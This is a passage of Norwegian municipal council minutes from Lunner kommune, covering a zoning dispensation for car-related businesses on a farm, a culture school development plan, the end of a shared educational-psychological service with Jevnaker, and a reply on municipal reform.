habiliet som nabo til s\u00f8ker. Per H\u00f8iby fratr\u00e5dte m\u00f8tet under habilitetsbehandlingen. Kommunestyret vedtok enstemmig at Per H\u00f8iby er habil i behandling av saken. Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: Lunner kommune innvilger med hjemmel i pbl kap. 19 s\u00f8knad om dispensasjon fra kommuneplanens arealdel for bruk av LNF-form\u00e5let til bruktbilsalg for inntil 30 biler, bil- og gravemaskinutleie og dagens bruk av verkstedbygg p\u00e5 eiendommen 24/1, da det foreligger en overvekt av grunner som taler for at dispensasjon gis etter plan- og bygningsloven De grunner som taler for at dispensasjon gis er: Virksomheten er en del av g\u00e5rdsdriften Det er en virksomhet etablert og drevet siden 1993 Virksomheten knyttet mot ungdom p\u00e5 Hadeland er sv\u00e6rt positiv Det forutsettes at det s\u00f8kes om utslippstillatelse i henhold til forurensningsforskriften 15-2 for gjeldende bruk av verkstedet ved hjelp av fagkyndig (r\u00f8rlegger, ingeni\u00f8r) som st\u00e5r ansvarlig for prosjektering og utf\u00f8relse, jf brev fra Lunner kommune datert Alternativt m\u00e5 bruken av verkstedet reduseres til kun \u00e5 tjene LNF-form\u00e5let. Lunner kommune avsl\u00e5r med hjemmel i pbl kap.19, s\u00f8knad om dispensasjon fra kommuneplanens arealdel , arealform\u00e5let LNF, for bruk av eiendommen 24/1 til vrakbilmottak. Det foreligger en overvekt av grunner som taler imot at dispensasjon gis etter plan- og bygningsloven De grunner som foreligger for \u00e5 avsl\u00e5 dispensasjon i dette tilfellet er samlet sett at virksomhetene omg\u00e5r hensikten med LNF-form\u00e5let som er jord- og skogbruk herunder g\u00e5rdstilknyttet n\u00e6ringsvirksomhet basert p\u00e5 g\u00e5rdens ressursgrunnlag og at en dispensasjon vil undergrave arealform\u00e5let. Et samtykke vil svekke kommuneplanen som styringsverkt\u00f8y for kommunen. En evt. omdisponering av arealform\u00e5let m\u00e5 avklares gjennom rullering av kommuneplanens arealdel. I henhold til pbl 32-2 f\u00f8rste ledd, gis det med dette forh\u00e5ndsvarsel om at Lunner kommune med hjemmel i pbl 32-3 f\u00f8rste ledd, vil vurdere \u00e5 fatte vedtak om p\u00e5legg om opph\u00f8r av vrakbilmottak dersom denne virksomheten ikke er brakt til opph\u00f8r/stanset innen Lunner kommune m\u00e5 underrettes skriftlig n\u00e5r vrakbilmottak er opph\u00f8rt/stanset. R\u00e5dmannens innstilling: Lunner kommune avsl\u00e5r med hjemmel i pbl kap.19, s\u00f8knad om dispensasjon fra kommuneplanens arealdel , arealform\u00e5let LNF, for bruk av eiendommen 24/1 til bruktbilsalg og vrakbilmottak. Det foreligger en overvekt av grunner som taler imot at dispensasjon gis etter planog bygningsloven De grunner som foreligger for \u00e5 avsl\u00e5 dispensasjon i dette tilfellet er samlet sett at virksomhetene omg\u00e5r hensikten med LNF-form\u00e5let som er jord- og skogbruk herunder g\u00e5rdstilknyttet n\u00e6ringsvirksomhet basert p\u00e5 g\u00e5rdens ressursgrunnlag og at en dispensasjon vil undergrave arealform\u00e5let. Et samtykke vil svekke kommuneplanen som styringsverkt\u00f8y for kommunen. En evt. omdisponering av arealform\u00e5let m\u00e5 avklares gjennom rullering av kommuneplanens arealdel. I henhold til pbl 32-2 f\u00f8rste ledd, gis det med dette forh\u00e5ndsvarsel om at Lunner kommune med hjemmel i pbl 32-3 f\u00f8rste ledd, vil vurdere \u00e5 fatte vedtak om p\u00e5legg om opph\u00f8r av bruktbilsalg og vrakbilmottak dersom disse virksomhetene ikke er brakt til opph\u00f8r/stanset innen Lunner kommune m\u00e5 underrettes skriftlig n\u00e5r bruktbilsalg og vrakbilmottak er opph\u00f8rt/stanset.\n\n25 Lunner kommune innvilger med hjemmel i pbl kap. 19 s\u00f8knad om dispensasjon fra kommuneplanens arealdel for bruk av et definert areal p\u00e5 tunet (mellom bygninger, Kongevegen og dyrka mark) til bil- og gravemaskinutleie i det omfanget som er omtalt i brev fra Lunner kommune datert Det vil si st\u00f8rrelsesorden 10 biler og 2 gravemaskiner. En forutsetning for \u00e5 gi dispensasjon er at kulturminner ikke blir negativt ber\u00f8rt. Bilverkstedet kan opprettholdes med dagens bruk dvs. verkstedoppdrag med elever, vedlikehold av utleiebiler/-gravemaskiner og reparasjoner av heste- og landbruksutstyr, forutsatt at det innen s\u00f8kes om utslippstillatelse i henhold til forurensningsforskriften 15-2 for gjeldende bruk ved hjelp av fagkyndig (r\u00f8rlegger, ingeni\u00f8r) som st\u00e5r ansvarlig for prosjektering og utf\u00f8relse, jf brev fra Lunner kommune datert Dersom utslippstillatelse ikke oms\u00f8kes eller innvilges, gjelder 1. og 2. avsnitt over ogs\u00e5 for denne virksomheten. Dersom bruken av verkstedbygget reduseres til kun \u00e5 tjene LNF-form\u00e5let, kreves det ikke utslippstillatelse eller dispensasjon fra kommuneplanens arealdel. Vedtaket kan p\u00e5klages i henhold til plan- og bygningsloven 1-9 jf. forvaltningsloven kap. VI. En eventuell klage m\u00e5 framsettes skriftlig til Lunner kommune innen 3 tre uker etter at vedtaket er kommet fram til Dem. Lunner kommune \u00f8nsker \u00e5 opplyse om at tiltaket kan gis oppsettende virkning jf forvaltningsloven 42, og at eventuelle saksomkostninger kan bli tilkjent dekning jf forvaltningsloven 36.\n\n\n\n\n\n26 Sammendrag: Eier av eiendommen 24/1har drevet bilrelatert virksomhet p\u00e5 eiendommen siden Som f\u00f8lge av at kommunen mottok kopi av en bruktbilbevilling, ble eier gjort oppmerksom p\u00e5 at virksomheten p\u00e5 eiendommen ikke var i tr\u00e5d med arealform\u00e5let i gjeldende kommuneplan. S\u00f8knad om dispensasjon er mottatt og behandlet. Administrasjonen anbefaler at det ikke gis dispensasjon fra arealform\u00e5let i kommuneplanen til bruktbilhandel og vrakbilmottak, og at det p\u00e5 visse vilk\u00e5r gis dispensasjon til fortsatt bil/gravemaskinutleie og bruk av verksted. Saksutredning: 1. Faktabeskrivelse 1.1 Bakgrunn og sakshistorikk Lunner kommune mottok den kopi av politiets brukthandelbevilling til Aaslund Bilomsetning som gjelder eiendommen 24/1. P\u00e5 grunnlag av kjennskap til brukthandelvirksomheten og eiendommens arealform\u00e5l i kommuneplanen som er landbruks-, natur- og friluftsform\u00e5l (LNF), ble det gjennomf\u00f8rt en befaring p\u00e5 eiendommen den Befaringsrapport ligger vedlagt saken. Virksomhetene p\u00e5 befaringstidspunktet omfattet: Utleie av 10 biler og 2 gravemaskiner (hovedsakelig langtidsleie) Reparasjon av biler og verkstedoppdrag knyttet til undervisning Bruktbilhandel (nettsalg) med omfang biler i 2013 og ca. 100 biler f\u00f8r 2013 Vrakbilmottak, st\u00f8rrelsesorden 30 biler for viderelevering til endelig mottak. Lunner kommune mottok den 1. juli 2014 s\u00f8knad om dispensasjon fra kommuneplanens arealdel, arealform\u00e5let landbruks-, natur- og friluftsform\u00e5l (LNF-form\u00e5l), for eiendommen 24/1 beliggende i Kongevegen p\u00e5 Lunner. Pilen p\u00e5 kartet til h\u00f8yre viser eiendommens beliggenhet i Lunner kommune. Tunet p\u00e5 eiendommen er vist med pil p\u00e5 kommuneplankartet og ortofotoet nedenfor.\n\n27 1.2 Planstatus i omr\u00e5det og rettslig grunnlag Eiendommen 24/1 ligger i uregulert omr\u00e5de og er i kommuneplanens arealdel for Lunner avsatt til landbruks-, natur- og friluftsomr\u00e5de, LNF-omr\u00e5de. Det fremg\u00e5r av plan- og bygningsloven 11-5, 2. ledd at kommuneplanens arealdel skal angi hovedtrekkene i arealdisponeringen og ramme og betingelser for hvilke nye tiltak og ny arealbruk som kan settes i verk, samt hvilke viktige hensyn som m\u00e5 ivaretas ved disponeringen av arealene. Et avvik fra kommuneplanen m\u00e5 behandles som en dispensasjonssak i h.h.t. reglene i plan- og bygningsloven kapittel S\u00f8kers begrunnelse for dispensasjon S\u00f8ker skriver i dispensasjonss\u00f8knaden: Har drevet bil- og maskinrelatert virksomhet siden Virksomheten har v\u00e6rt en viktig arbeidsplass for s\u00f8ker. Konsekvensen av \u00e5 ikke f\u00e5 dispensasjon vil v\u00e6re at bedriften m\u00e5 legges ned. Det tas n\u00f8ye hensyn til milj\u00f8/forurensing Virksomheten trappes gradvis ned fordi han jobber fulltid som l\u00e6rer. S\u00f8ker har gitt tilleggsinformasjon i brev datert , mottatt : 1. Jobber mellom 80 og 100 % som l\u00e6rer p\u00e5 Lunner ungdomsskole og Hadeland videreg\u00e5ende skole 2. Det er et g\u00e5rdsverksted p\u00e5 eiendommen som det er p\u00e5 alle g\u00e5rdsbruk 3. Verkstedet har ikke avl\u00f8p eller tilsvarende 4. Verkstedet blir brukt i perioder av \u00e5ret i skolesammenheng med elever som har spesielle behov 5. Det som blir utf\u00f8rt av arbeid er sm\u00e5 reparasjoner p\u00e5 heste- og landbruksutstyr samt vedlikehold p\u00e5 biler og maskiner som leies ut 6. Dette utgj\u00f8r ingen forurensningsfare overhodet 7. Det blir lagret en del kj\u00f8ret\u00f8yer p\u00e5 eiendommen som er under nedtrappingsprosess, halvparten eies av andre som leieboere, slektninger, venner 8. Innsamling av vrakbiler som er en avtale/vennetjeneste med Vaselina bilopphuggeri anses som en milj\u00f8gevinst for hele Hadeland da det blir ryddet opp rundt omkring og transport blir mer effektivt for bilopphuggeriet (kan avsluttes p\u00e5 kort tid) 9. Ser p\u00e5 sin virksomhet som \u00abINN P\u00c5 TUNET\u00bb i en litt annen form 10. \u00c5 kreve virksomheten avsluttet vil v\u00e6re et overgrep p\u00e5 hele mitt virke b\u00e5de som l\u00e6rer og n\u00e6ringsdrivende da disse virksomhetene flyter i hverandre 11. Ser p\u00e5 seg selv og sin virksomhet som samfunnsnyttig og har hatt over 60 ungdommer her som i mange tilfeller har \u00abfunnet sin plass\u00bb i samfunnet, derav betegnelsen \u00abInn p\u00e5 tunet\u00bb i punkt Ser ingen grunn til \u00e5 omregulere noe som helst. Dere f\u00e5r finne ut hvor mange kj\u00f8ret\u00f8y jeg og tre boenheter med leieboere kan ha st\u00e5ende p\u00e5 et g\u00e5rdsbruk. Er \u00e5pen for forslag og innretter meg deretter.\n\n29 Uavklart om ovennevnte virksomhet kommer inn under denne betegnelsen. Forurensningsforskriften 15-2: Utslipp og p\u00e5slipp av oljeholdig avl\u00f8psvann fra bla vaskehaller, motorverksteder m.fl., krever utslippstillatelse. Kommunen er myndighet. Landbruk Det er fire omr\u00e5der som blir brukt til biloppstillingsplass, totalt ca m2. Det st\u00f8rste arealet ligger mellom to bygninger p\u00e5 tunet, ca. 700 m2, og grenser til veg i \u00f8st og dyrka mark i vest. Arealet er ikke klassifisert som dyrka eller dyrkbar mark. Fylkesmannen mener at fortsatt bruk ikke vil medf\u00f8re arronderingsmessige ulemper eller oppsplitting av dyrka mark. Forutsatt at virksomheten ikke f\u00f8rer til behov for ytterligere arealer p\u00e5 dyrka mark, kan ikke Fylkesmannen si at virksomheten setter jordbrukdsdriften til side. Konklusjon Fylkesmannen mener virksomheten eventuelt deler av denne som utgangspunkt er forbudt p\u00e5 areal avsatt til LNF-form\u00e5l i kommuneplanen. Evt. omdisponering av arealform\u00e5let b\u00f8r i utgangspunktet avklares gjennom kommuneplanprosessen. Dersom kommunen likevel velger \u00e5 gi dispensasjon, ber Fylkesmannen om at det settes vilk\u00e5r som bla entydig avgrenser virksomheten til et definert areal og vilk\u00e5r om tilbakef\u00f8ring til LNF-form\u00e5l ved eventuell opph\u00f8r av denne n\u00e6ringsvirksomheten. Virksomheten m\u00e5 i tillegg ut\u00f8ves i samsvar med forurensningslovens bestemmelser. 3. Faglig vurdering 3.1 Status pr I f\u00f8lge befaringsrapport fra , informasjon fra eier p\u00e5 befaringstidspunktet og tilleggsinformasjon gitt i brev datert , foreg\u00e5r f\u00f8lgende virksomheter p\u00e5 eiendommen: Bil- og gravemaskinutleie i st\u00f8rrelsesorden 10 biler og 2 gravemaskiner Bilverksted for undervisning av elever, for vedlikehold av utleiebiler, egne biler og reparasjoner av hesteutstyr og landbruksmaskiner. Bruktbilforhandler ( biler) Vrakbilmottak, st\u00f8rrelsesorden 30 biler (videresender til opphugging) Virksomhetene slik de drives i dag, oppfattes \u00e5 v\u00e6re i strid med arealform\u00e5let i gjeldende kommuneplans arealdel. Det betyr at virksomhetene m\u00e5 opph\u00f8re eller bringes i lovlige former gjennom dispensasjon, omdisponering/fradeling, regulering. 3.2 Landbruksfaglige opplysninger Eiendommen best\u00e5r av 160 dekar fulldyrka jord og vel 300 dekar produktiv skog. Dyrkamarka leies bort. Landbrukskontoret mener at oms\u00f8kte virksomhet ikke kan g\u00e5 under begrepet landbruksvirksomhet eller landbruk+. Landbrukskontoret mener at bilomsetningen (bilsalget) og vrakbil-virksomheten b\u00f8r flyttes vekk fra eiendommen mens utleievirksomheten i form av 10 personbiler og 2 gravemaskiner med utgangspunkt i gardstunet kan aksepteres videref\u00f8rt i sin n\u00e5v\u00e6rende form. Da det er snakk om langtidsutleie av personbiler genererer virksomheten lite trafikk. 3.3 Naturinteresser, friluftsliv, forurensning, landskaps- og estetiske hensyn Virksomhetene er ikke til sjenanse for naboer og for friluftslivet. N\u00e5r det gjelder naturinteresser og forurensning er det uvisst hvorvidt virksomhetene skader/er i konflikt med disse hensyn. Det foreligger innen kontroll med bl.a. fare for forurensning og det foreligger ingen sikring mot utslipp til grunnen.\n\n\n\n34 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: A3 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 125/14 Kommunestyret /14 Formannskapet Saksbehandler: Kim Stian Gjerdingen Bakke, rektor Hadeland kulturskole HADELAND KULTURSKOLE, UTVIKLINGSPLAN FOR LUNNER Lovhjemmel: Kommunedelplan kultur , kapittel 2.3, strategier, kulepunkt 3: Det utarbeides en utviklingsplan for kulturskolen i Lunner. Dette for \u00e5 sikre \u00f8nsket utvikling og n\u00f8dvendige vedtak og bevilgninger. Oppl\u00e6ringsloven 13-6 Kommunestyrets vedtak: Hadeland kulturskole, utviklingsplan for Lunner tas til etterretning. Behandling og avstemming: Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: Hadeland kulturskole, utviklingsplan for Lunner tas til etterretning. R\u00e5dmannens innstilling: Hadeland kulturskole, utviklingsplan for Lunner tas til etterretning.\n\n35 Sammendrag: Utviklingsplanen ber\u00f8rer Hadeland kulturskoles virksomhet i Lunner kommune. Virksomhetsplanen inkl. skissert opptrappingsplan under planens punkt 10 har et fire\u00e5rsperspektiv. Det har i arbeidet med ny virksomhetsplan for Hadeland kulturskole i Lunner v\u00e6rt viktig \u00e5 gi en orientering om kulturskolens historikk og bakgrunn, nasjonalt som lokalt. Det har ogs\u00e5 v\u00e6rt viktig \u00e5 vise til gjeldende lovverk, aktuelle stortingsmeldinger og planverk. Videre har det v\u00e6rt viktig \u00e5 gi et bilde av hva en kulturskole er og inneholder, samt hvordan Hadeland kulturskole er organisert og lokalisert. I tillegg er Hadeland kulturskoles status i dag beskrevet. Til sist har det v\u00e6rt viktig \u00e5 skissere en videre utvikling og utvidelse av Hadeland kulturskole i Lunner kommune. Den nasjonale m\u00e5lsetningen om 30 % dekning i forhold til elevtallet i grunnskolen samt lokale behov og \u00f8nsker for utvikling er lagt til grunn for dette. Offentlig h\u00f8ring Virksomhetsplanen har v\u00e6rt ute p\u00e5 offentlig h\u00f8ring med h\u00f8ringsfrist 11. juni Dette er kunngjort p\u00e5 kommunens og kulturskolens Internettsider, p\u00e5 Facebook og ved direkte invitasjon til v\u00e5re samarbeidspartnere i Lunner, samt at virksomhetsplanen er gjort tilgjengelig ved kommunetorget p\u00e5 R\u00e5dhuset. Det er kommet inn ett h\u00f8ringssvar, fra Fagertun barne- og ungdomsteater (FABU) ved leder Kristin Friborg: Jeg synes dette er en veldig god plan. Jeg er veldig forn\u00f8yd med det som st\u00e5r om at FABU hadde v\u00e6rt tjent med \u00e5 slippe \u00e5 bruke s\u00e5 mye penger p\u00e5 instruksjon, og at vi trenger lokaler som er tilrettelagt i Lunner kommune. Det aller, aller viktigste for oss er forutsigbarhet n\u00e5r det gjelder instrukt\u00f8r. At vi vet at vi har instrukt\u00f8r fra \u00e5r til \u00e5r, og ikke \"av og p\u00e5\" i forhold til bevilgninger fra Lunner Kommune. Vi er kjempeforn\u00f8yd med samarbeidet vi har med Kulturskolen. Saksutredning: FAKTA: Kulturskoleaktiviteten i Lunner kommune er liten, og kan deles inn i tre deler: 1. Ordin\u00e6r kulturskoleundervisning Det undervises i gitar, trekkspill og piano i Lunner kommune. H\u00f8sten 2014 er det ca.11 elever p\u00e5 gitar/bass, 1 elev p\u00e5 trekkspill og 17 elever p\u00e5 piano. I tillegg er det flere elever fra Lunner som f\u00e5r undervisning i Gran kommune. Dette er i fagene band, fiolin, cello, teatergruppen Fix-fax, sang, Sm\u00e5Trall, trekkspill, musikkteknologi og visuelle kunstfag. Til sammen ca.20 elever. Dette er fag som det pga. st\u00f8rrelsen p\u00e5 Lunners tjenestekj\u00f8p ikke er mulig \u00e5 opprette i Lunner kommune. 2. Kulturskoletimen i samarbeid med grunnskolene Det gis undervisningstilbud ved Harestua skole, Grua skole og Lunner barneskole i fagene \u00abTut og bl\u00e5s\u00bb, \u00abDanseverksted\u00bb, \u00abGitar og ukulele\u00bb, \u00abXyloBongoTambuTromme og \u00abMinikunstner\u00bb. Dette undervisningstilbudet gis som et samarbeid med grunnskolens l\u00e6rere hvor kulturskolel\u00e6rernes spisskompetanse i kunst- og kulturfag skal bidra til \u00e5 n\u00e5 l\u00e6ringsm\u00e5lene i l\u00e6replanen. 3. Tjenestesalg til Skolekorpset i Lunner og Fagertun barne- og ungdomsteater (FABU) Det selges subsidierte undervisnings-, direksjons- og instrukt\u00f8rtjenester. Korpset kj\u00f8per all sin undervisning og direksjon gjennom kulturskolen, men FABU kj\u00f8per sin regiss\u00f8r/instrukt\u00f8r gjennom kulturskolen.\n36 Endelig elevtall for skole\u00e5ret er enda ikke klart da elevopptaket i Skolekorpset i Lunner enda ikke foreligger. Men elevtallet fra h\u00f8sten 2013 p\u00e5 116 elever og et ca. elevtall p\u00e5 1150 ved grunnskolene i Lunner gir en dekningsgrad p\u00e5 ca. 10 %. Totalt elevtall fra h\u00f8sten 2013 p\u00e5 116 elever og et ca. elevtall p\u00e5 1150 ved grunnskolene i Lunner gir en dekningsgrad p\u00e5 ca. 10 %. Elevtallet vil trolig bli litt lavere pga. lavere elevtall i Skolekorpset i Lunner. VURDERING/DR\u00d8FTING: 1. Forhold til gjeldende handlingsplan og annet planverk Kommunedelplan kultur har gode m\u00e5lsetninger og strategier for kulturskolen. Men disse m\u00e5 f\u00f8lges opp av \u00f8kte bevilgninger. Foresl\u00e5tt reduksjon i tilskuddet til kulturskolen for 2015 vil f\u00f8re til et enda mindre tilbud til barn og unge i Lunner. 2. Personalmessige forhold Siden alle ansatte i Hadeland kulturskole er ansatt i Gran kommune er det ingen personalmessige forhold i fht. Lunner kommune. Men foresl\u00e5tt reduksjon i tilskuddet til kulturskolen for 2015 vil f\u00f8re til nedbemanning i kulturskolen. 3. \u00d8konomiske forhold/forhold til budsjett og \u00f8konomiplan Kommunaldelplan kultur tar til orde for \u00e5 \u00f8ke bevilgningene med 20 % i l\u00f8pet av 4- \u00e5rsperioden. Det vil si en \u00f8kning p\u00e5 kr over en fire\u00e5rsperiode, i tillegg til pris- og l\u00f8nnsvekst. Fordelt p\u00e5 fire \u00e5r tilsvarer det en \u00f8kning p\u00e5 ca. 12,5 % stilling hvert \u00e5r, til sammen 50 % etter fire \u00e5r. Formannskapet har lagt forslag til Handlingsprogram ut til offentlig ettersyn. I dette forslaget er f\u00f8lgende endringer foresl\u00e5tt: Kulturskolen Som f\u00f8lge av redusert bevilgning til kulturskolen tas f\u00f8lgende m\u00e5lsetting ut: M\u00e5lsetting Ambisjon M\u00e5lemetode \u00d8ke kapasiteten slik at flere Bevilgningen \u00f8kes med 20% i KOSTRA elever f\u00e5r tilbud i kulturskolen l\u00f8pet av 4-\u00e5rsperioden F\u00f8lgende strategi tas ut som f\u00f8lge av at det er utarbeidet forslag til Virksomhetsplan for Kulturskolen: Det utarbeides en utviklingsplan for kulturskolen i Lunner. Dette for \u00e5 sikre \u00f8nsket utvikling og n\u00f8dvendige vedtak og bevilgninger. Annet Kulturskoletimen, som i 2014 er finansiert av kulturfondet, b\u00f8r inn fast i budsjett- og \u00f8konomiplanen slik at dette undervisningstilbudet kan sikres forutsigbarhet.\n\n38 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: 026 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 126/14 Kommunestyret /14 Formannskapet Saksbehandler: Anne Gr\u00f8nvold, r\u00e5dgiver politikk og samfunn AVVIKLING AV INTERKOMMUNALT SAMMARBEID - PP-TJENESTE FOR JEVNAKER OG LUNNER Lovhjemmel: Kommuneloven Kommunestyrets vedtak: 1. Interkommunalt samarbeid mellom Jevnaker kommune og Lunner kommune om felles PPtjeneste avvikles med virkning fra Forslag til avtale om avvikling av interkommunalt samarbeid Jevnaker og Lunner PPtjeneste tas til orientering. Behandling og avstemming: Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: 1. Interkommunalt samarbeid mellom Jevnaker kommune og Lunner kommune om felles PPtjeneste avvikles med virkning fra Forslag til avtale om avvikling av interkommunalt samarbeid Jevnaker og Lunner PPtjeneste tas til orientering. R\u00e5dmannens innstilling: 1. Interkommunalt samarbeid mellom Jevnaker kommune og Lunner kommune om felles PPtjeneste avvikles med virkning fra Forslag til avtale om avvikling av interkommunalt samarbeid Jevnaker og Lunner PPtjeneste tas til orientering.\n\n39 Saksutredning: FAKTA: Jevnaker kommune har i brev av sagt opp avtale om interkommunalt samarbeid om pedagogisk-psykologisk tjeneste (PPT) for Jevnaker og Lunner med virkning fra Lunner kommune var kjent med dette standpunktet, da et var oppe som tema p\u00e5 v\u00e5rens m\u00f8te for de interkommunale samarbeidene (IS-m\u00f8tet). Dette m\u00f8tet ble gjennomf\u00f8rt 25. april. Pedagogisk psykologisk tjeneste for Jevnaker og Lunner etablert Dette som et interkommunalt samarbeid med Lunner som vertskommune. PPT er lokalisert til Lunner r\u00e5dhus og organisatorisk knyttet til Familie og Oppvekst. PPT er Lunner og Jevnaker kommunes r\u00e5dgivende og sakkyndige instans i forhold til \u00e5 sikre barn, unge og voksne med s\u00e6rlige behov rett til oppl\u00e6ring og hjelp etter oppl\u00e6ringsloven. PPT skal s\u00f8rge for at det utarbeides sakkyndig vurdering der loven krever det. Videre skal PPT hjelpe skolen i arbeidet med kompetanseutvikling og organisering, for \u00e5 legge oppl\u00e6ringen bedre til rette for elever med s\u00e6rskilte behov. PPT yter r\u00e5d og veiledning til sju grunnskoler (tre i Jevnaker og fire i Lunner), ti kommunale barnehager (fire i Jevnaker og seks i Lunner), fjorten private barnehager (fire i Jevnaker og ti i Lunner) og til voksenoppl\u00e6ringen i begge kommuner. I henhold til gjeldende avtale Jevnaker og Lunner PP-tjeneste som interkommunalt samarbeid 12 kan avvikling av samarbeidet skje ved gjensidig vedtak om dette i begge kommunestyrene, p\u00e5 et tidspunkt man blir enige om. Ensidig uttreden av samarbeidet kan skje gjennom vedtak i ett av kommunestyrene, men da med en oppsigelsesfrist p\u00e5 minimum ett \u00e5r. P\u00e5 IKS-m\u00f8tet 25. april 2014 var oppsigelsen fra Jevnaker kommune tema. Der ble det konkludert med f\u00f8lgende: Resten av 2014 brukes til \u00e5 forberede og gjennomf\u00f8re avvikling av det interkommunale samarbeidet om PPT. Jevnaker kommune oversender en formell meddelelse p\u00e5 dette. Som oppf\u00f8lging av dette ble det gjennomf\u00f8rt et planleggingsm\u00f8te 3. juni. Konklusjoner i dette m\u00f8tet er f\u00f8lgende: 1. Lunner kommune \u00f8nsker av \u00f8konomiske \u00e5rsaker \u00e5 avvente tilsetting i den n\u00e5 ubesatte stillingen p\u00e5 PPT. Dette gir Jevnaker mulighet til \u00e5 overta den ledige stillingen og besette denne selv. Jevnaker avklarer s\u00e5 raskt som mulig om dette er interessant. 2. Det vil bli avholdt dr\u00f8ftingsm\u00f8te med tillitsvalgte i Lunner. I etterkant av dette vil det bli rettet en henvendelse til de ansatte med sp\u00f8rsm\u00e5l om noen av dem er interessert i \u00e5 skifte til Jevnaker. Det tas sikte p\u00e5 \u00e5 gjennomf\u00f8re denne prosessen s\u00e5 raskt som mulig, gjerne f\u00f8r ferien. 3. Jevnaker vil kunne benytte sin ressurs til noe planlegging av tjenesten utover h\u00f8sten. Jevnaker vil i hovedsak beholde sin ressurs uavhengig av Lunners ned tak Jevnaker vil kunne bli ber\u00f8rt av annet frav\u00e6r som ikke lar seg erstatte. 4. Det utarbeides en avviklingsavtale. Avviklingsavtalen vil omhandle blant annet f\u00f8lgende punkter: a. Personell b. Utstyr c. Andre \u00f8konomiske forhold her under avtalefestet pensjon d. IKT e. Arkiv 5. Til neste m\u00f8te innkalles arkiv og ikt i de respektive kommunene. Hver kommune ordner med \u00e5 innkalle sine.\n\n40 6. Neste m\u00f8te blir 21. august, kl Deretter innkalles det til fast \u00bd dags m\u00f8te den 4. torsdagen i hver m\u00e5ned ut \u00e5ret. M\u00f8tene vil ha ulik agenda og kan deles opp med ulike deltakere til ulike klokkeslett. Dette tar vi etter hvert som prosessen skrider fram. 19. juni ble det gjennomf\u00f8rt informasjons/dr\u00f8ftingsm\u00f8te mellom Lunner kommune p\u00e5 den ene siden og Fagforbundet og Utdanningsforbundet p\u00e5 den annen side. Konklusjonen i dette dr\u00f8ftingsm\u00f8te var f\u00f8lgende: Alle sider ved Jevnakers oppsigelse synes s\u00e5 langt ivaretatt p\u00e5 en \u00aball right\u00bb m\u00e5te. Det m\u00e5 finnes l\u00f8sning p\u00e5 den partielle overtalligheten (ca 20 % stilling kontormedarbeider). Arbeidsgiver inviterer de ber\u00f8rte medarbeidere til samtaler snarest mulig. I disse m\u00f8tene kan medarbeider stille med tillitsvalgt/r\u00e5dgiver. 21. august ble det gjennomf\u00f8rt m\u00f8te mellom Jevnaker og Lunner. Dette m\u00f8tet hadde IKT og arkiv som tema i tillegg til arbeid med avviklingsavtalen. Det er avtalt to m\u00f8ter til framover i forhold til arbeidet med avvikling av samarbeidet. Det er utarbeidet forslag til avtale om avvikling av interkommunalt samarbeid Jevnaker og Lunner PP-tjeneste. I denne avtalen er partene enige om f\u00f8lgende: Samarbeidet opph\u00f8rer , under forutsetning av at Lunner kommunestyre vedtar dette. Arbeidsgiverforholdet for den enkelte medarbeider n\u00e5r samarbeidet opph\u00f8rer. Fordeling av inventar og utstyr som er anskaffet p\u00e5 driftsbudsjettet de seinere \u00e5rene Behandling av arkivet Behandling av datasystemer Partene er ikke enige om kostnadsfordeling av AFP-kostnader etter Uenigheten avtales at skal bringes inn i en s\u00e6rskilt forhandling mellom avtalepartene. Evt. tvist om dette skal i henhold til avtalen om det interkommunale samarbeidet avgj\u00f8res av voldgiftsnemd. VURDERING/DR\u00d8FTING: Jevnaker kommune har etter vedtak i kommunestyret sagt opp samarbeidet om felles PPtjeneste for Jevnaker og Lunner kommune med virkning fra I henhold til gjeldende avtale om dette samarbeidet skal ensidig oppsigelse a samarbeidet skje med minimum ett \u00e5rs varsel. Lunner kommune kan med dette kreve at samarbeidet videref\u00f8res ut over R\u00e5dmannen vurderer imidlertid at dette ikke tjener driften av PP-tjenesten \u00e5 opprettholde samarbeidet noen m\u00e5neder lenger enn samarbeidskommunen \u00f8nsker. En finner ogs\u00e5 at arbeidet med avvikling av samarbeidet kan gjennomf\u00f8res forsvarlig innen Kommunedelplan Oppvekst Kommunedelplanene blir n\u00e5 rullert gjennom utarbeidelsen av Handlingsprogram Det er i denne rulleringen forsl\u00e5tt f\u00f8lgende endring i strategi for PP-tjenesten: F\u00f8lgende strategi g\u00e5r ut: Bemanningen styrkes, s\u00e6rlig i forhold til \u00e5 kunne ivareta de kompetanse- og utviklingsrettede oppgavene i forhold til skoler og barnehager. \u00d8kt antall saker binder PPT opp i utredningsarbeid. En styrking av tjenesten gir muligheter for veiledning og utvikling av skoler og barnehager og setter de i stand til, p\u00e5 egen h\u00e5nd, \u00e5 sette inn innsats tidlig. Ny strategi: Utvikle et godt faglig nettverkssamarbeid med de andre PPT-kontorene p\u00e5 Hadeland. Opph\u00f8r av interkommunalt samarbeid medf\u00f8rer behov for \u00e5 sikre et godt faglig fellesskap gjennom nettverk med de andre PPT p\u00e5 Hadeland.\n\n42 M\u00d8TEBOK Arkivsaksnr.: 14/ Ark.: 026 Sak nr Styre/r\u00e5d/utvalg: M\u00f8tedato: 127/14 Kommunestyret /14 Formannskapet Saksbehandler: Anne Gr\u00f8nvold, r\u00e5dgiver politikk og samfunn Gran kommune: Edvin Straume KOMMUNEREFORM - SVAR P\u00c5 HENVENDELSE FRA JEVNAKER KOMMUNE Lovhjemmel: Inndelingsloven Kommunestyrets vedtak: 1. Lunner kommune takker nei til invitasjonen fra Jevnaker om \u00e5 utrede en ny kommune best\u00e5ende av Ringerike, Hole, Jevnaker, Lunner og Gran. 2. Lunner kommune \u00f8nsker \u00e5 utrede om dagens ytre grenser for Gran og Lunner er hensiktsmessige i en evt. ny kommune. Nabokommuner informeres om dette og inviteres til samarbeid om hvordan en slik vurdering b\u00f8r gjennomf\u00f8res. Behandling og avstemming: Formannskapets innstilling ble enstemmig vedtatt. Formannskapets innstilling: 1. Lunner kommune takker nei til invitasjonen fra Jevnaker om \u00e5 utrede en ny kommune best\u00e5ende av Ringerike, Hole, Jevnaker, Lunner og Gran. 2. Lunner kommune \u00f8nsker \u00e5 utrede om dagens ytre grenser for Gran og Lunner er hensiktsmessige i en evt. ny kommune. Nabokommuner informeres om dette og inviteres til samarbeid om hvordan en slik vurdering b\u00f8r gjennomf\u00f8res. 